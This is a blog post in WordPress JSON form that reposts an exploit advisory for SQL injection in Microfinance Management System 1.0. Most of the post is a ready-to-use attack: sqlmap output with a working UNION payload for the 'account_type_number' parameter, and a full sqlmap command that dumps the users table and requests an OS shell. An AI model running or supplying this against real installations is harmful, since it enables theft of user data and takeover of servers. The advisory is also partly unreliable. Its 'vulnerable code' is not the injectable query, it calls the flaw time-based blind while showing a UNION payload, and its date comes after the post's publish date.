{"id":22110,"date":"2022-03-24T19:30:03","date_gmt":"2022-03-24T15:30:03","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166438\/mms10-sqlexec.txt"},"modified":"2022-03-28T09:42:15","modified_gmt":"2022-03-28T05:12:15","slug":"microfinance-management-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/microfinance-management-system-1-0-sql-injection\/","title":{"rendered":"Microfinance Management System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Title: Microfinance Management System 1.0 SQLi To Rce<br \/>\n# Author: Hejap Zairy<br \/>\n# Date: 24.07.2022<br \/>\n# Vendor: https:\/\/www.sourcecodester.com\/php\/14822\/microfinance-management-system.html<br \/>\n# Software: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/mims_0.zip<br \/>\n# Reference: https:\/\/github.com\/Matrix07ksa<br \/>\n# Tested on: Windows, MySQL, Apache<\/p>\n<p dir=\"ltr\">#vulnerability Code php<\/p>\n<p dir=\"ltr\">&#8220;`php<br \/>\n&lt;?php<br \/>\n$sql = &#8220;SELECT count(*) AS total_account FROM account_type&#8221;;<br \/>\n$result = mysqli_query($conn, $sql);<br \/>\n$data = mysqli_fetch_assoc($result);<br \/>\n?&gt;<br \/>\n}<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">#Status: CRITICAL<br \/>\n&#8220;`<br \/>\nGET parameter &#8216;account_type_number&#8217; is vulnerable. Do you want to keep testing the others (if any)? [y\/N] y<br \/>\nsqlmap identified the following injection point(s) with a total of 147 HTTP(s) requests:<br \/>\n&#8212;<br \/>\nParameter: account_type_number (GET)<br \/>\nType: UNION query<br \/>\nTitle: MySQL UNION query (random number) &#8211; 3 columns<br \/>\nPayload: account_type_number=-6015&#8242; UNION ALL SELECT 7366,CONCAT(0x716b626b71,0x4268666c6b715274794a58534f487366546e5379414951584a684459764f424451536f5a707a6a6a,0x7170707a71),7366#<br \/>\n&#8212;<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\n#SQLi Time to Rce<br \/>\n#\u064fExploit<\/p>\n<p dir=\"ltr\">sqlmap -u &#8216;http:\/\/0day.gov\/mims\/updateaccount_type.php?account_type_number=6015&#8217; &#8211;hex &#8211;time-sec=17 &#8211;dbms=mysql &#8211;technique=u &#8211;random-agent &#8211;eta -p account_type_number -D mims -T users &#8211;dump &#8211;os-shell<\/p>\n<p dir=\"ltr\"># Description:<br \/>\nThe Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc<\/p>\n<p dir=\"ltr\"># Proof and Exploit:<\/p>\n<blockquote class=\"imgur-embed-pub\" lang=\"en\" data-id=\"kRcQmxO\"><p><a href=\"https:\/\/imgur.com\/kRcQmxO\" target=\"_blank\" rel=\"noopener\">View post on imgur.com<\/a><\/p><\/blockquote>\n<p><script async src=\"\/\/s.imgur.com\/min\/embed.js\" charset=\"utf-8\"><\/script><br \/>\nhttps:\/\/i.imgur.com\/4RmKSom.png<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Title: Microfinance Management System 1.0 SQLi To Rce # Author: Hejap Zairy # Date: 24.07.2022 # Vendor: https:\/\/www.sourcecodester.com\/php\/14822\/microfinance-management-system.html # Software: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/mims_0.zip # Reference: https:\/\/github.com\/Matrix07ksa # Tested on: Windows, MySQL, Apache #vulnerability Code php &#8220;`php &lt;?php $sql = &#8220;SELECT count(*) AS total_account FROM account_type&#8221;; $result = mysqli_query($conn, $sql); $data = mysqli_fetch_assoc($result); ?&gt; } &#8220;` #Status: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-22110","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22110","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=22110"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22110\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=22110"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=22110"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=22110"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}